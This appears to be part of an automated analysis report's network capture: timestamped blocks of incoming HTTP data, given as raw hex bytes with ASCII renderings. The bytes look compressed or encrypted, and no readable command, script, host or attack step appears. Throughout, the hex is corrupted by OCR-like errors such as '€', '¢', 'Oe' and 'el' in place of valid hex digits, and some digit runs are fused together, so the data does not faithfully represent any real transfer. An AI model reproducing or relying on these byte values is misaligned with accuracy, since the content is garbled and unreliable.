€0 4c 05 7c 61 65 ab ec b7 b9 c9 51 a9 65 3c 4d 82 d3 b3 63 27 45 46 9a 7a 08 d5 25 7a 51 cd ea Oe 9f 45 05 el ad 7a
91 54 4d 0d 9b 49 7a 79 c3 4f 03 b9 07 1c cb 73 89 88 69 f4 40 12 de f6 29 38 9e bl b6 92 df 64 08 d2 Ob 14 0f 11 9e €9
df 82 f2 fd 90 ff 59 91 8 8f 6b 34 42 ca 9a af 67 94 82 e5 e6 c5 6e dc c7 b5 el 51 9¢ 5b 77 d9 da 91 ba a0 d8 4c cd a5 79
da a9 f8 86 f8 1c 7f 7c b8 3d 50 1f 2b 8d e5 b2 ac b7 ad e8 49 ea ed a6 9f b9 59 71 5f 2¢c 30 c1 79 fb 22 b7 3b c6 20 ea b6
82 87 1e 9e ac 18 b9 87 ef b8 90 d1 8¢ cb 44 06 04
Data Ascii: _4W-uSNk$ijAM{RN&v|2moh4(jCD35TL|aeQe<Mc'EFz%zQEzTMIzyOsi@)8dYk4BgnQ[wLy|=P+IYq_,0y"; D

2021-09-13 23:07:18 UTC 153 IN Data Raw: 60 9c b1 92 d9 ce 1c 4f 5f 19 3f Ob 8e 6e 4b 5f 61 16 29 ed 19 2e 6¢ c0 f5 e7 9e da 78 bf 33 0b 98 be b9 f6 70
1d 8a 7c 79 18 e7 ab f7 52 78 d5 3d 66 3f d3 57 f0 46 7d 6b 50 dd f8 c2 64 a9 3e 31 7a 4e 65 48 98 5f 81 19 36 77 1b c3
ca 0a e0 b0 cl 99 9d df ce 21 c4 ef 00 82 5d 89 9b c3 4c 6e 56 a6 e8 6¢ ec 5e 29 84 2c 00 83 b3 21 1f 50 cf 32 01 b6 7e
18 9d 09 b1 bc 27 36 1c 3c 77 17 a3 4b 57 bd b0 ff €3 8f 86 d2 d7 5¢ 61 4c f8 2¢ 19 5b 95 70 76 42 ad ac da 52 9c 43 00
f2 a6 97 a4 ec 24 1d 70 16 95 77 dd 10 1le 41 4c 79 a2 06 e4 el 71 ca 87 45 65 f9 6d 76 55 f4 73 f2 c0 86 50 94 9f fd 1e f2
72 1e 7e 3e Ob d3 1b c8 6a 85 06 83 a2 df 56 78 bd 8b 6d 9c 61 db df 53 57 28 88 10 80 66 9b 35 9c 33 67 79 66 7d 6e 2b
1f 2¢ 30 9¢c 02 50 36 68 e2 48 0d 6d 1f 20 da f4 cf
Data Ascii: "'O_?nK_a).Ix3p|yRx=f?WF}kPd>1zNeH_6w!]LnVI"),!P2~'6<wKW\aL,[pvBRC$pwALyqEemvUsPr~>jVxmaS
W(f53gyfin+,0P6hHmM

2021-09-13 23:07:18 UTC 155 IN Data Raw: bd 7d ae 40 23 8a 93 96 a2 cb d1 le d2 71 ac 30 80 18 93 df 6f b6 26 01 ae Ob 71 d0 68 €3 0d eb 72 7d 60 54
02 ae 67 f5 34 c¢8 8¢ 19 83 c4 11 b8 e5 11 26 f1 c9 98 f4 eb 8a ba 85 25 93 c0 90 ce 01 Oc 82 73 04 7b da b5 72 30 95 31
36 bb f9 4c d5 23 fd 43 af 33 b5 e4 ef 6f 49 61 0d 9d 39 43 2f fO e6 2e 99 4a ae 17 dd c6 7d c6 85 cd 14 c8 24 02 e cf c9
86 Oe a2 89 fd 98 0d 9b cc 8b 99 ab a5 b5 04 cd c6 5b 27 4c a4 6e 96 Oe 81 87 e3 cf c2 7e 3e 6¢ €5 42 76 b5 56 77 75 b9
cl 6b daf2 61 45 da 37 b4 a4 60 88 c8 76 10 b3 83 b9 7c 62 7 4b a6 d7 5b 89 ef a9 f4 d4 89 93 6e 2d 92 a6 79 3c 4f b5
bf 88 8b 8f 09 ec d3 52 38 d8 2c ac ae db 7a 4f f7 72 42 11 09 67 dd a5 fb cb 11 55 f9 40 ad 1e 39 4c 2e 7 c9 65 25 29 4c
88 aa cf b7 c6 be 60 f2 e7 77 el 32 b8 78 6 f6 7e
Data Ascii: }@#q00&ghr} Tg4&%s{r016L#C301a9C/.J}$['Ln~>IBvVwukaE7 v|bK[n-y<OR8,zOrBgU@9L.e%)L w2x~

2021-09-13 23:07:18 UTC 156 IN Data Raw: 06 20 a7 38 83 43 bf f3 30 16 54 eb 5e ea c1 32 e4 ef 8a f1 9a 11 be 2d ¢5 b0 73 65 8f 76 12 92 4d a2 d7 f1 13
8710 12 3d 63 95 d6 a0 ¢7 0d 18 c0 05 1f 70 ca 8¢ 38 81 8d d7 d1 41 37 33 5a 3f ch el 63 27 f3 1e 97 8f 7d ec 5d 03 58
821372 1b 56 83 4a de 95 72 36 40 df 1f a2 17 58 98 92 40 43 8b 2b 2b 93 04 88 08 1a 1f 18 50 18 3d 1f 7f Of 00 33 a7
7180 bc 54 8b 6f 9¢ 6f 98 7b 09 fc 71 8¢ b8 64 92 bf 3e 16 18 cc 95 9e 32 06 fe 72 b9 58 bb 5c¢ 55 fc 4e 60 7 bf a5 d7 61
4d fc 91 ¢8 cf 8e cd 84 a9 02 a3 7¢ 80 d9 63 74 d7 10 b7 c6 el a9 d7 91 08 e2 28 4a ba 38 €0 31 dd 39 e2 72 b3 31 a0 3¢
45 9f ac 0d 5d a8 85 7d 25 8¢ 63 af al 96 d9 bc 08 8d b4 53 14 aa 9f 5f 00 83 23 f3 3e 57 1f 4e 5a 25 75 13 a3 88 13 46
55 9¢ 2b ba 80 19 84 90 4d a4 f1 03 90 76 b4 ¢6 70
Data Ascii: 8COT"2-sevM=cp8A73Z?c'}]XrVIr6@X@C++P=3qToo{qd>2rX\UN aM|ct(J819r1<E]}%cS_#>WNZ%uFU+Mvp

2021-09-13 23:07:18 UTC 157 IN Data Raw: 93 ab a5 2c 98 cd 1f ad 00 f4 Ob Oc 9e 85 c5 07 ae b8 83 7d c0 c0 05 6¢ 10 bl d5 16 22 56 b0 63 €9 16 ea f3
40 64 ae ee 04 01 96 1e e4 02 c4 70 56 82 82 f1 5 df d9 85 84 61 e2 5b 45 41 6a b2 05 Oe ec af 8a 5¢ bf 47 99 8e 09 ec
65 cf 22 75 2e ec 29 37 f3 82 01 01 71 19 d2 f6 aa 68 72 0d 01 cO ac 42 32 58 e7 83 67 ef 3a d9 7e 91 c9 fd a4 c4 df 50 9f
08 b2 9d 0f 44 23 d0 34 92 1e 39 e3 78 13 93 b4 41 fa al 5a 4c 0f d7 8e 95 b7 a6 96 f8 be 1d ca 86 96 3c 81 f5 ea 69 d9
ba 9c el da Ob 6b 4f 26 a5 2f bd 86 85 Oe 95 90 18 dd 8a ba 43 31 1f 19 da c0 0f 44 el 15 be 47 fe fc 41 2d fa 2f 88 €5 08
0 ef 79 22 f3 90 a6 b9 5c¢ 3 a4 af 41 ec ba 88 37 86 99 6e d5 d5 57 b7 09 68 b8 b7 13 71 4c 50 06 e5 le 5¢ 39 8e aa 7¢
2b db 95 a9 2b 94 af a2 4d b9 92 59 96 95 aa f1 Of
Data Ascii: ,}JI"Vc@dpVa[EAj\Ge"u.)7ghrB2Xg:~PD#49XAZL<ikO& C1DGA-ly"\A7TnWhqLP\9|++MY

2021-09-13 23:07:18 UTC 159 IN Data Raw: 30 1f 0d 9f 9b 3d 24 be 76 9a d6 c4 cb 32 bf e9 fe 75 ba 1b 5b ¢7 fa 07 b1 2d 39 57 d7 53 9f b2 77 21 ad 2b 9f
4d a3 be 6b ea 6¢ df 04 5d 41 15 99 fa 4b el 06 8e e9 1d 6d 88 dc c9 7c 69 41 a3 5b 92 39 d8 40 5¢ 48 76 e4 19 Oa 31 6f
82 7d 25 8c 2e 43 f7 18 2e 36 a6 08 b1 db 99 ef 47 5f 82 db 70 95 27 ef €0 4e 10 31 59 d0 60 75 ec 57 e2 e8 57 6a ee 24
1c de 49 le 45 7b 21 31 3f 6d 57 88 c4 39 67 €7 47 61 5¢ 87 2b 47 84 c4 63 28 44 e2 4e 5b 6a 78 e0 7a 77 d1 01 ad d8
91 b6 f1 82 ae 2b 06 93 03 6f €3 b5 53 d7 47 a3 17 e2 59 01 2d b2 4c 1c ca f4 87 ¢9 51 dO b7 57 5e 58 9b 48 34 44 cd aa
ef cc 7f 86 €7 37 26 dd 65 cO 7a 56 2d f5 6b fd 37 5d b0 16 78 62 6¢ f2 cd 20 2e a5 c0 5f 40 48 7b e2 e0 bl cb fd 13 2b 3d
8326 01 53 b3 37 66 b7 d1 77 5d 48 ba 58 91 99 82 b4
Data Ascii: 0=$v2u[-9WSw!+MKIJAKmM|IA[9@\Hv10}%.C.6G_p'N1Y uWWjSIE{!1?mW9gGa\+Gc(DN[jxzw+0SGY-LQWAXH4
D7&ezV-k7]xbl . @H{+=&S7fw]HX
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2021-09-13 23:07:18 UTC 160 IN Data Raw: 39 d8 Oe €3 81 c1 cd b5 e8 df 8a 87 5e c5 43 e7 4e 7b 4a 40 e2 f9 ab al bb 44 bc b9 81 3d 54 19 f1 2c 61 1c
Oa a3 6b 97 32 c5 4b 25 d6 7d 7c 1d 72 b8 45 3f 2b fe 92 70 6d d4 8e af 4d 3c 4b ff 4d 97 22 c¢7 59 a7 b4 0b 59 77 {2 6e e6
e4 aa b3 fd 84 8b caab a9 64 1d 72 6e e4 7b 5d 53 3e 3a d2 9f b7 d4 aa d1 eb 00 1c e0 5e 7c 62 78 68 d4 24 1e 29 e3 e9
2c 2c b7 3d d2 18 16 b8 76 f1 0f 12 e2 b2 e3 24 e2 e4 f0 0d 5¢ 9f 3e fa 3d 6a 82 b6 4d 47 c1 e2 e7 11 7d af 8a de f8 ca e3
ad 38 35 03 dd a6 4a 93 13 8b ad cc fe 05 9b 11 a7 bd 20 28 51 1b 1b c2 27 83 d0 60 d8 2a 4f da 4e 31 53 5e ae 06 f5 06
40 6b fb 83 ee 7 d5 bd 2d c9 Oe 6¢ 0a 1c 66 aa 62 1f 33 6 4c dc 64 b4 b7 1b ad e2 83 bb b6 45 94 d8 82 92 6f a3 67 01
5d 67 1c 4a 76 11 eb 7a 45 ed 57 f9 d3 37 c0 91 d7
Data Ascii: 9" CN{J@D=T,ak2K%}|rE?+pmM<KM"YYwndrn{]S>:"|bxh$),,=v$\>=jMG}85J (Q"*ON1S"@k-Ifb3LdEog]g
JvzEW7

2021-09-13 23:07:18 UTC 161 IN Data Raw: 12 0f 01 93 f2 c6 6e ea 98 87 af 87 7b c3 68 94 4e 1f 65 1d d3 7d 94 85 9f b2 13 ad 59 b8 da ad 7a 7b 2f el 4d
7 6d e3 3e 9b c0 4d 1a f3 ea 74 01 ad 08 2b 85 d7 15 f6 29 8e e2 6e 07 3d 75 c8 c1 49 23 79 d7 68 b6 43 ca eb c3 ac 94
61 43 1e 09 d6 el af 96 92 1a e5 8¢ 57 2b 96 90 66 88 b9 e0 ff 57 68 48 47 20 1d 4e c1 26 92 eb 90 e2 29 88 2b 53 56 b0
55 48 01 97 0f 13 96 0d 75 4d b4 f9 bb b5 44 30 fd 98 38 7a bc bf c5 83 95 17 bc e5 19 87 ed 13 ce 15 26 ¢7 22 69 9e c2
73 9b la a7 e5 4e 8d 5d f2 9f 55 a0 84 b3 Oa f6 da b0 8f a3 db b8 87 d2 be f2 98 68 40 4d 15 74 12 91 a3 66 43 5 fe 85 81
€2 5450 79 6¢ 49 f0 26 91 1e 8c 8b b8 37 €0 eb 16 4a 42 b5 63 7b 17 01 93 8 45 5f c3 f8 82 4b 78 90 99 9b 6f 94 ef 76 11
4e 80 03 7f b4 d9 54 24 05 3e ba af 61 eb c8 6b
Data Ascii: n{hNe}Yz{/Mm>Mt+)n=ul#yhCaCW+fWhHG N&)+SVUHuMDO08z&"isNJUh@MtfCTPyll&7JBc{E_KxovNT$>ak

2021-09-13 23:07:18 UTC 162 IN Data Raw: 84 69 bc b9 14 ad dO fb 5b 35 d4 a6 d4 53 a6 7c bf 49 e4 d0 b6 27 d3 51 1e 2c b1 55 bd b5 48 49 bf f1 0f 06 67
f3 ebc2 e9 dd dl 75 c7 ce 94 69 9d 8f b5 95 95 d8 €9 €9 34 5b Ob 61 d5 03 18 8e 33 5f 52 ¢5 91 1a 12 22 bf bb f1 ea f7 ca
2a 36 df f1 5a b4 97 76 18 25 f4 c3 a9 d8 e8 8c 35 76 17 20 2c 2e e3 b8 ce a4 60 01 01 94 0f 02 b8 79 ec 6¢ bl 88 €9 eb
8c 52 8e 46 51 ¢4 33 04 1a 19 98 e3 e4 f0 45 a8 1b 5b 70 6b fO dc 16 b3 f2 5¢ d0 86 Oc 53 49 f5 08 a9 71 1le a7 f8 b4 71 f4
¢4 86 5b 94 2f a5 91 ¢7 60 b0 15 2e 82 85 44 29 dc 39 a9 8f e7 aa 2d f1 73 e8 26 39 1d e0 58 1e c8 9e 69 9f cO 3b 9b 97
1b e4 63 5f 26 9e f8 6a 94 22 ec b2 86 cb b0 el 47 d2 48 97 1b 96 6b Of b3 fb 86 13 e8 64 a8 65 b7 db a9 2c 38 d4 3a f9
db f3 74 a6 bb d0 9e 03 b1 60 64 5f b5 €9 61 c7
Data Ascii: i[5S|I'Q,UHIgui4[a3_R"*6Zv%5v ,.'yIRFQ3E[pk\SIqq[/".D)9-s&9Xi;c_&j"GHkde,8:t'd_a

2021-09-13 23:07:18 UTC 164 IN Data Raw: 4b f6 90 2f 82 08 6b 9d 49 cc c8 38 c8 85 40 d9 87 34 e5 c0 68 9e d9 a5 a2 09 6c¢ 2f da 41 60 32 87 fd 81 92 Ob
bl a4 14 20 3 76 04 Oe 82 2a eb 3b 21 34 5f fa fd 37 fe db 8c cc e6 15 fa 95 bf 57 9d ¢8 06 d2 33 1d ch 82 6b fe 2b 18 fe
0Oa b3 82 af Oe 9f ac 10 b5 e5 ac 1e 90 53 6¢ 5f 68 84 ef 6f 66 2c f0 03 5f 1d ba 10 2e f6 15 42 11 1f fb f1 cf 81 1e Ob el 6¢
15 bd 6b 01 cd 42 90 97 99 c7 0a 82 03 e4 2c 49 fa fe 9c 2b d2 b7 83 98 4d 6f 09 Oc 39 09 96 65 f1 c8 fa d1 df 9b 73 e6 c2
6d b7 63 c4 38 5d cd 49 27 1e 21 53 de 7d 72 2c ae 2d 6d ae 8 1f 8d bc 10 bf 6e 59 ee 02 2a 12 23 3¢ 9c 60 e2 33 e6 36
4c 0f fc d3 80 40 33 23 55 92 2d db 88 f5 3f fO bb fe bb 9b 59 51 b9 73 el 66 e4 ac 42 41 a0 d7 7d e3 d1 3d 6e e9 c5 df 00
ca 9b f1 6f 1f b8 4c 70 61 69 Oa d8 66
Data Ascii: K/kIB@4hl/A 2 v*;14_7W3k+SI_hof,_.BIkB,I+Mo9esmc8]I'!S}r,-mnY*#<'36L @3#U-?YQsfBA}=noLpaif

2021-09-13 23:07:18 UTC 165 IN Data Raw: 22 ed 2d 2a a0 59 34 82 cb 29 83 c6 1e a9 4d 8e 54 89 88 20 70 cf 3f ¢5 1f fc 9b e6 41 57 fc a9 08 fa c6 c3 65
5d 05 d9 a7 ce d8 a4 4d d3 a4 4d 47 36 41 d2 1b de 97 72 ee 56 a8 65 62 67 de d8 c1 4a ce 6b 4b 70 99 Oe 74 7d 3e f3
05 05 8a fd Of d3 12 e4 d2 08 04 68 Oa 2e 02 22 17 20 6¢ 7b 09 f8 7b 27 ac 65 27 39 b6 d9 51 44 63 dd 3a f6 ce a5 b2 3b
af 44 65 76 al 62 64 5b 69 ee af 39 b9 36 7b d8 ed ff f2 51 02 2a 93 aa 97 b3 f8 1d 43 48 €3 62 ad 16 3d al 96 50 5a 39
f5 a9 fe 10 f2 c8 37 54 54 bd b7 89 60 d9 5e 7c 52 8e 7d da 72 61 cc 81 b7 ce 56 00 75 a2 9b fc 5¢ 67 2b bl el 98 el 9b
8 6d 5d 1a d9 33 df 53 46 ab 90 d1 71 d3 ea e8 cd d2 4d 4e f7 1a 97 31 ba b5 7d 09 54 05 80 12 a7 05 01 1b e2 d7 47 &d
a8 0b d1 2c ae bd 8a f4 78 94 e7 6a ba 98 75 81 f4 1e 00
Data Ascii: "-*Y4)MT p?AWe]MMG6ArVebgJkKpt}>h." {{'e'9QDc:;Devbd[i96{Q*CHb=PZ97TT /|R}raVu\g+m]3SFq
MN1}TG,xju

2021-09-13 23:07:18 UTC 166 IN Data Raw: 52 df 06 bc 6e 72 6f ea ff ef Oc 3a 03 1c 38 d6 78 35 a9 1f 85 08 a3 e2 d0 ee b9 f3 d0 89 9b cf 2d 4f b0 1b af 5
4f912c 00 75 f5 a5 1a 9a 6d 24 f7 39 ea 33 f3 b1 62 99 ba 58 1e 2e 13 83 ff 8a fb df 3e 18 04 87 f5 ee 35 9b 87 a0 db d6
42 33 d7 30 eb 99 8¢ 60 79 5f 84 8f 9d 2d a8 22 59 8b 4c 2a 23 7e b4 73 73 25 82 e4 d5 90 03 c0 08 4e 1a 45 af 6f ac ba
5f 7f 21 86 d9 69 Oa d3 44 19 24 f4 6b 01 2d 6b ab 51 78 f8 Oe 95 f2 fd 57 44 52 97 cc 13 94 14 e3 a5 83 2c a0 e4 e4 d7 fO
42 98 ab 9a bl 9e al 3c ab 04 ae 16 32 26 c5 5a 72 b2 56 cb 32 09 67 fd 48 c4 ea 36 13 48 a7 Of e3 88 13 67 21 a4 b2 4b
97 f1 28 cd 99 1a 6¢ 3¢ 76 63 5c 5f 27 e2 98 4a 8b c9 18 ba 79 f6 38 48 98 e4 23 5f f5 50 ba 93 f4 d7 a6 fb a0 12 6d 56 3e
57 3a 6d 11 23 eb 9a 90 Oe 1a bd a2 a0 4d
Data Ascii: Rnro:8x5-00,um$93bX.>5B30y_-"YL*#~ss%NEo_!iD$k-kQxWDR,B<2&ZrV2gH6EHg!K(I<vc\_'Jy8H#_ PmV>
W:m#M

2021-09-13 23:07:18 UTC 167 IN Data Raw: b2 fe 53 b0 d8 ed ff 2d 65 52 69 e9 f7 79 7 42 46 44 5f 2a e2 44 86 41 9a 65 54 98 19 80 1b f5 cd 62 c7 81 98
55 b1 b7 0a a4 d5 8c 00 b8 7c 82 da 8a e8 6f 32 a4 d9 13 7c e 05 0a 52 aa 1c 69 62 75 67 74 9d 65 12 46 a6 €9 01 ec
6088 a1 19 96 9c 2c af 60 78 6a 21 0d 30 dc a0 61 07 95 1b 98 46 53 €9 d6 Od 64 6e 5b 40 6e a4 27 a3 c7 fd 20 51 10 3¢
bf 79 a4 20 1a 6e 53 2e 20 cb ad 8¢ b9 a4 f0 05 38 fe 28 3f b6 4d 37 94 98 Oe ¢5 dO bb ad 00 b6 e0 6a 1b 31 3e 23 10 90
0832 34 95 48 34 c0 ae a7 34 42 ¢4 0d 25 f4 a2 85 e4 00 6¢ b9 39 e2 6d c5 e4 a2 3a 35 94 02 3a 0d 32 89 07 32 8b 16
32 4d e9 a7 4a 70 Oe 39 92 23 3c 94 89 73 48 c4 57 72 Of d1 77 2f fc 4c dc ¢9 98 b9 7c¢ be bb b5 c2 49 ef c3 42 8b c6 99
€6 94 94 9f 21 86 6d 35 1a 10 4a cd 18 fe 9¢c 5d 1b 44 6a 90
Data Ascii: S-eRiyBFD_*DAeTbU|o2|RibugteF’, j!0aFSdn[@n' Q<y nS. 8(?M7j1>#24H44B%I9m:5:222MIp9#<SHW
rwiL|IB!m5J]Dj

2021-09-13 23:07:18 UTC 169 IN Data Raw: 80 40 ae 04 b9 81 6b b6 c4 ec 0a 03 85 d8 dd ae le b2 39 09 40 9a d1 07 a9 d0 c8 e0 1d 16 83 ce 6¢ c6 ea 79
3a a6 d3 7c b2 06 ch 05 e4 48 12 ce 5¢ 05 69 ac 14 e3 74 c9 f4 95 6e cd a7 a9 ae 3b 45 6b 60 63 81 7a 6d 20 93 91 0d 54
d6 9e c0 e5 57 40 3a a6 a0 8b a7 9b 5e 24 d8 51 92 f1 3a d5 Ob 70 76 cb €5 d9 1b b3 54 f0 b5 4b dO 6d al f5 ce 92 1f c7
d9 a9 5f ee 1e a6 c5 d8 73 a4 fd 66 03 99 bb 1e ee 75 46 al 65 55 94 65 1c f9 9c 1d 10 7c aa 66 el 6e ca 44 2c 27 14 6e
5d cc 6¢ 36 be 99 93 2c be 0d b6 b9 ea 80 2c 2a 9e 9b 16 f8 47 83 2a 5¢ 9c 6d d6 26 1f 5a 16 a7 de 64 37 20 9d fa 2e 26
3f 6d 3d 66 b9 b3 93 c7 d5 bf aa 4e 2c 2c ¢7 b8 ed €9 53 24 aa a2 c1 6d 10 Of 1a 19 13 2e fd fe 71 fb 5f d4 c4 e2 5d 7d 40
33 1c 90 85 3e 29 8e 3b 8d 76 al 70 65 e2 37 f1 28 3b
Data Ascii: @k9@ly:|H\itn;Ek czm TW@:$Q:pvTKm_sfuFeUe|fnD,'n]l6, *G*\m&Zd7 .&?m=fN,,S$m.q_J}@3>);vpe7(;

2021-09-13 23:07:18 UTC 170 IN Data Raw: cc d8 da eb 67 4c 13 92 1c c1 99 5a b4 98 e4 96 99 78 cd 74 b1 96 11 3a 32 c4 57 6d ea f1 c2 a8 1b 4c 2b f3
a6 d4 7d b9 fc 7e bb 03 90 e0 70 cb d6 aa 4b €5 88 79 e4 a2 3a 70 fc e7 77 75 33 89 01 8a 8c 6a 9b af 4a 97 62 7b 0f 39
2c 7d 77 7a 33 1c df d6 7f f0 46 3d 88 5b d0 10 9e 71 ad 45 al 68 f9 bd f3 d2 d8 94 27 95 1d 47 5c fa e2 4a 78 b5 1f 87 21
1292 3d 6e 5¢ b7 e4 ea 91 b6 32 81 11 7f 41 7e a2 34 da a9 fd fc 4b c¢5 b3 d3 86 da 07 6d ff d7 6¢ ff 17 a5 29 7f 09 8c c2
5390 19 a6 8d 46 b2 3e 00 16 25 al 81 2e c7 38 07 Oe f8 57 43 2a ae f0 dd f1 5d b7 4b 11 09 e4 30 84 ef 64 fc d6 fa 98
c7 af ba 90 d3 86 e6 7a bl be 4e 9c 45 7f b4 03 el ff 96 f0 aa f9 b9 71 12 a5 53 8b 7f e6 ac 3 14 af 89 84 bd 89 ef 4c d3
98 12 cf 7 f3 7f 09 f6 dO 5e 06 bf 74 61 86 78
Data Ascii: gLZxt:2WmL+}~pKy:pwu3jIb{9,}wz3F=[qEh'G\Ix!=n\2A~4Kml)SF>%.8WC*|K0dzNEqSL"tax
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2021-09-13 23:07:18 UTC 171 IN Data Raw: 5a 44 Oe 69 91 6b cf ec d5 76 a9 ba fd d1 e8 63 1d 9a fa 4d fO el e4 3d 9c 44 cd 81 6e 29 3b d1 c5 40 Ob 28 cO
b9 68 78 b7 17 7f 50 66 1f bd 2a bf 24 83 el fc 8a 8d e7 cd eb d4 05 d8 53 €9 4a 8c e8 df 61 2e 17 37 5f 3f e0 73 fa 28 a2
15 b5 95 f4 7c b1 02 48 39 c9 e0 33 e5 56 ea 41 fc 17 6 66 48 04 6d Oa Oc 2d 14 f5 d3 e6 62 57 a5 95 11 7b f2 6d 88 62
fac4 96 11 95 af 40 43 75 3f 40 f3 el 63 4¢ 37 9b 79 9b fb 9e 28 f4 2c b3 48 ed b4 bf 7c ¢7 d8 3a 84 42 ff cb f8 63 el 2¢
55 1b b3 55 64 3f 86 71 fa 66 f7 €2 81 20 ea f6 c2 f7 7a 6 0a 7d 6d 3c d8 e2 60 08 91 €0 26 19 e8 b3 Ob 0Od 88 eb 6e 98
cab3d3c5 2c 23 51 ¢4 06 00 37 c5 d5 16 8¢ c5 5d ea 8f b0 5a 3e 11 9e b2 be 1d 60 2e 9d 46 7b be 35 27 6f df 06 d4 75
14 14 b7 c0 3c 76 5d 49 8f 3e 50 40 cd f3 69 72
Data Ascii: ZDikveM=Dn); @ (hxPf*$SJa.7_?s(|H93VAfHmM-bW{mb@ Cu?@cL7y(,H|:Bc,UUd?qf z}m<'&n #Q7]Z>".F{5'
ou<v]I>P@ir

2021-09-13 23:07:18 UTC 173 IN Data Raw: 91 ba 06 69 ba 7b a0 0d 27 d9 53 Of 71 c1 4e 7f 33 f6 5c cc Oc bb a8 ba 73 00 ec 2a 41 ea Oa 3e 7c 67 6f fa Oa
f4 d3 53 d0 7d 9a 29 ec 08 b7 e5 fb 04 d1 09 e0 22 dd 6¢ 49 a2 ¢3 d0 93 95 d9 7d 1d d7 a9 67 35 73 4f Ob 2b 6c 2e 1e b9
16 c1 43 e2 e7 b0 3a a5 39 6f 5b 6a 15 16 df a3 ee ed 12 ad 4b 8e b7 41 da 51 07 38 41 f1 ca 76 10 b3 Ob 2d 62 8e 2a 8f
Ob a3 90 c4 db 04 af 2c 61 58 79 de 3b 72 dd db 49 01 8b 2e 24 8d le 04 5f 21 82 24 5d 20 ab ff b4 3a 90 46 38 08 7f 3b
91 2e ce 9c e6 cb 86 c6 c3 0Ob 70 c2 7d 1f 8b b0 9e 7a Oe 3b 1f ae 8e 6f db a7 b7 4b 4b 06 35 b8 9a 66 54 a4 39 a9 fa 19
fO cf a3 ec 54 fO cd 28 2a 08 a2 d3 1b 55 9d b2 74 19 08 3f 94 36 €8 34 e6 9f 5¢ 01 a0 04 e0 Oa a6 7b 93 51 el 3f f0 6a f4
60 00 4d ff 34 75 13 94 97 c8 4b be 96 af 3f f5 57
Data Ascii: i{'SqN3\s*A>|goS})"l1}g5sO+1.C:90[[KAQ8AV-b*,aXy;rl.$_!$] :F8;.p}z;0KK5fTIT(*Ut?64\{Q?j MAUK?W

2021-09-13 23:07:18 UTC 174 IN Data Raw: 5e 43 48 16 al 5b 4a e5 b8 13 78 d2 c8 09 83 a4 dd 14 cb be da 17 97 d6 7a 55 a9 c2 69 1d d3 6b a7 19 85 ab
73 8fd4 13 7b 1b e4 4b 87 32 11 5a 6b 48 a7 9e 7d e7 10 fa 62 83 7b 65 €6 62 77 19 c4 4d 77 32 62 21 9a be bc 7b 7e 66
0a 6¢ c7 b0 83 83 f0 28 64 8¢ 30 9f 39 eb e2 4c 56 7e 50 a5 7c¢ 02 31 51 62 f2 8b 7c 65 52 6d 31 3b Oc 48 b9 2c 48 89 b7
16 5f f9 c4 67 35 €7 3d 47 6¢ 6f 7e a5 11 1c 2c dO e6 40 cl 8e 4b 29 8¢ c0 78 69 78 ae f4 e4 1a 24 Oc ab Oe 53 63 30 44
ea 55 16 89 b2 Ob e5 5f 9b 65 17 af 1f 87 16 7b 9e 8a 67 9a 2c 61 5e 27 e7 ae d4 94 c6 b3 al 6f 04 f1 b5 2e 5f 80 74 85
96 le cd 13 ec af a0 40 85 8d e7 5a Oa ae 6d 51 d7 41 d4 3c {7 f5 83 53 27 44 26 76 46 e3 41 ea 92 8 9e 6a 63 f4 34 ef
2992 1c f9 16 79 00 41 5a Oc f4 8f c5 57 d9 57 3f 3d c8
Data Ascii: "CH[JIxzUiks{K2ZkH}b{ebwMw2b!{~fl(d09LV~P|1QbleRm1;H,H_g5=Glo~,@K)xix$ScODU_e{g,a"'0._t@Z
MQA<S'D&VFAjc4)yAZWW?=

2021-09-13 23:07:18 UTC 175 IN Data Raw: Of 64 08 a2 43 a9 81 ac de fa 81 21 7f 3a f7 56 20 f3 8a 30 8b f0 b5 3a e4 98 3b da 7c a7 dd 9b ff cb 51 8c a9
36 fe f2 72 4c 3a 49 7b b4 df 15 8f 7e 54 20 54 60 48 4b b7 33 86 01 99 33 55 ea 72 7c cbh 86 6a c6 3d bf d6 24 92 f9 18 4f
bl 45 al 4e c5 83 bl 1d ec 24 14 f1 ¢9 7a 2c 99 81 a0 92 b4 43 f3 39 59 7d af Oa 2d Ob 06 82 1c 34 b5 ef 43 ea 89 b3 56
04 bf 20 85 44 38 dd f7 28 ed 79 84 f4 72 38 2c ¢4 91 86 17 aa 73 46 63 ee 1b 07 f9 9c fb ¢8 3a 55 05 51 75 18 46 44 df
e6 1f 7b 38 Oc fc 99 21 2d a6 22 4d 64 17 47 74 1a 81 ac e4 58 a2 5f 37 58 11 a3 47 cd fe 8c 7d 76 f1 fO 8d 8f f2 5¢ 26 69
8a 94 7f ad bc d7 87 36 b8 c4 b6 73 0f b9 9f a0 42 c6 1d 94 34 07 34 50 5a ce 1d 5¢ 05 b9 49 06 4a 49 9e d1 23 1b 6¢ 89
9e a5 36 c0 12 2b 63 02 ea c8 8f 14 47 29 b1 7b
Data Ascii: dC1:V 03|Q6rL:Ii{~T T"HK33Ur|j=$0EN$z,C9Y}-4CV D8(yr8,sFc:UQUFD{8!-"MdGtX_7XG}\&i6sB44PZ\JI#6+c
G){

2021-09-13 23:07:18 UTC 176 IN Data Raw: 5a 16 b4 8b 86 cf 22 e0 5f d2 ec d8 05 ec ¢9 07 bd 2a 83 7 25 cc 5b 4e a3 30 cc 5d 46 99 f2 64 2b b1 63 e3
e8 65 ef 77 1d ae 9e ff 9e 12 fa 9c a3 96 14 02 50 00 4d f6 6e b2 9f 49 cc 66 31 39 a3 d7 f8 73 3a 24 6b b4 e4 70 d3 48 b9
1 40 66 c9 bd 69 aa 1d d6 85 96 3c 92 3f 9b 56 27 38 36 Oe c9 17 d4 63 44 fb 96 1c c1 9b e7 49 e2 07 92 ee 02 fd 63 3d
9329 80 43 4c 54 6e 90 f8 3d bd 1c cd 8¢ 35 79 5d 34 6d f9 7 50 cO fb 2e 3d 7d d7 46 4b e5 c8 7d e4 a2 3a 35 f8 a4 85
Oc 32 2f 1f e6 8d 28 cd 25 46 69 1d 4e 18 b4 92 2e 83 94 89 64 7c 69 21 10 dO ab 80 2b fc 65 83 6¢ 10 51 4f 06 44 d6 2a
3a5498c017 1b 31 e6 94 €0 2f 31 60 ba 31 1a 65 9f 76 e8 fb 9d 92 12 c4 66 94 ba 06 0a f7 0d d8 de 64 aa 04 1d 99 14
Oc cc 43 e6 e6 78 4a 40 ab 37 7f dc 9f d5 be 15 35 fe
Data Ascii: Z"_*%[NO]Fd+cewPMnlf19s:$kpH@fi<?V'86¢cDIc=)CLTn=5y]4mP.=}FK}:52/(%FiN.d|i!+elQOD*:T1/1°1
evfdCxJ@75

